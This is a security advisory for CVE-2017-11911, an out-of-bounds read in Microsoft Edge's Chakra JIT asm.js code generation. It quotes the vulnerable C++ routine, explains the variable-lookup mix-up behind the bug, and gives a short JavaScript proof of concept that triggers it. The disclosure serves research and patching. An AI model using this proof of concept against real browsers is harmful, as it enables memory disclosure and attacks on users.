Microsoft Edge Chakra JIT asm.js Out-Of-Bounds Read

Microsoft Edge Chakra JIT suffers from an out-of-bounds read in asm.js.


MD5 | 0ad7db805f5e80c2d07d8d3efece99ce

Microsoft Edge: Chakra: OOB read in asm.js 

CVE-2017-11911


Here's a snippet of AsmJSByteCodeGenerator::EmitAsmJsFunctionBody.
AsmJsVar * initSource = nullptr;
if (decl->sxVar.pnodeInit->nop == knopName)
{
AsmJsSymbol * initSym = mCompiler->LookupIdentifier(decl->sxVar.pnodeInit->name(), mFunction);
if (initSym->GetSymbolType() == AsmJsSymbol::Variable)
{
// in this case we are initializing with value of a constant var
initSource = initSym->Cast<AsmJsVar>();
}
...
}
...
if (initSource)
{
if (var->GetType().isDouble())
{
mWriter.AsmReg2(Js::OpCodeAsmJs::Ld_Db, var->GetLocation(), mFunction->GetConstRegister<double>(initSource->GetDoubleInitialiser()));
}

Chakra thinks the PoC is valid asm.js code. What happens when the variable "b" gets initialized is:
1. mCompiler->LookupIdentifier is called with "a" as the first argument. And it returns the local variable "a", which is of type int, but not the double constant "a".
2. mFunction->GetConstRegister fails to find the int value in the double constant table. So it returns -1 which leads OOB read.

PoC:
function createModule() {
'use asm';
const a = 1.0;
function f() {
var b = a;
var a = 0;
}

return f;
}
var f = createModule();
f();


This bug is subject to a 90 day disclosure deadline. After 90 days elapse
or a patch has been made broadly available, the bug report will become
visible to the public.




Found by: lokihardt


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